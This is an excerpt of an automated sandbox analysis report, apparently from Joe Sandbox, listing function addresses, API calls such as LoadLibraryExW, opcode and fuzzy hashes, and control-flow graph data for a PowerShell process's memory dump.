                                                                                  • API ID: FreeHeap$CriticalSection$EnterLeavememset
                                                                                  • String ID:
                                                                                  • API String ID: 4254243056-0
                                                                                  • Opcode ID: 725e25c77e1e11b4bf87ed01b6ee150763b189248ade4676bad763f5516a4b52
                                                                                  • Instruction ID: 731859a3b15cae5753bb7de1e8a6b13bc7caaa2a8ebc947d3a100cd7cc498ee7
                                                                                  • Opcode Fuzzy Hash: 725e25c77e1e11b4bf87ed01b6ee150763b189248ade4676bad763f5516a4b52
                                                                                  • Instruction Fuzzy Hash: ABF04471215109BFC6115F16DD40D57BF6DFF8A7A43424129B40493571CB36EC20AAA8

                                                                                  Execution Graph

                                                                                  Execution Coverage:2.3%
                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                  Signature Coverage:0%
                                                                                  Total number of Nodes:3
                                                                                  Total number of Limit Nodes:0
                                                                                  execution_graph 6346 7ffd9babb934 6348 7ffd9babb93d LoadLibraryExW 6346->6348 6349 7ffd9babb9ed 6348->6349

                                                                                  Executed Functions

                                                                                  Function 00007FFD9BABB1C8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 226COMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 0000000D.00000002.1812708382.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_13_2_7ffd9bab0000_powershell.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID: I
                                                                                  • API String ID: 0-3707901625
                                                                                  • Opcode ID: 2c691d70208ebca606af0fdaf2bdada1a8e514b57c812e539cfd02dbd126b98e
                                                                                  • Instruction ID: 4917a42669c403506b42c7e2597b60fcd055e1dee9b411718b60072c6f965ba8
                                                                                  • Opcode Fuzzy Hash: 2c691d70208ebca606af0fdaf2bdada1a8e514b57c812e539cfd02dbd126b98e
                                                                                  • Instruction Fuzzy Hash: 06617C72A0FADD4FEB25CB9858142BC7FA1FF55360F4402BBD098D71E7E924A9068781
                                                                                  Function 00007FFD9BABB2F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132libraryCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 31 7ffd9babb2f8-7ffd9babb9af 39 7ffd9babb9b9-7ffd9babb9eb LoadLibraryExW 31->39 40 7ffd9babb9b1-7ffd9babb9b6 31->40 41 7ffd9babb9ed 39->41 42 7ffd9babb9f3-7ffd9babba1a 39->42 40->39 41->42
                                                                                  APIs
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 0000000D.00000002.1812708382.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_13_2_7ffd9bab0000_powershell.jbxd
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID: I
                                                                                  • API String ID: 1029625771-3707901625
                                                                                  • Opcode ID: a2ac584e70565f25bf4da6acaed45bfc1d745c8dca801d96fb9edd14786b357f
                                                                                  • Instruction ID: 5f14a6236ccb8717734c20e25fef73c904799ea3d5483d7c5171304667f4defd
                                                                                  • Opcode Fuzzy Hash: a2ac584e70565f25bf4da6acaed45bfc1d745c8dca801d96fb9edd14786b357f
                                                                                  • Instruction Fuzzy Hash: E9412631A0DA5D8FDB59CB9C98456B9BBE0FF55320F04427FD059C72A2DB70A905CB81
                                                                                  Function 00007FFD9BABB934 Relevance: 1.6, APIs: 1, Instructions: 117libraryCOMMON
                                                                                  Download Yara Rule

                                                                                  Control-flow Graph

                                                                                  APIs
                                                                                  Memory Dump Source
                                                                                  • Source File: 0000000D.00000002.1812708382.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_13_2_7ffd9bab0000_powershell.jbxd
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: bc666c07313c2e8e253e52091c9bbb01b5e0da3b75184c202a3fc6edac47c2e5
                                                                                  • Instruction ID: 5d4c49b869cec89b2f41fa4ca871409f1543fbf64983098fe72492f26779da04
                                                                                  • Opcode Fuzzy Hash: bc666c07313c2e8e253e52091c9bbb01b5e0da3b75184c202a3fc6edac47c2e5
                                                                                  • Instruction Fuzzy Hash: D231E43190CB5C8FDB59DF989849BE9BBE0FF55320F04426BD019C3292DB74A805CB91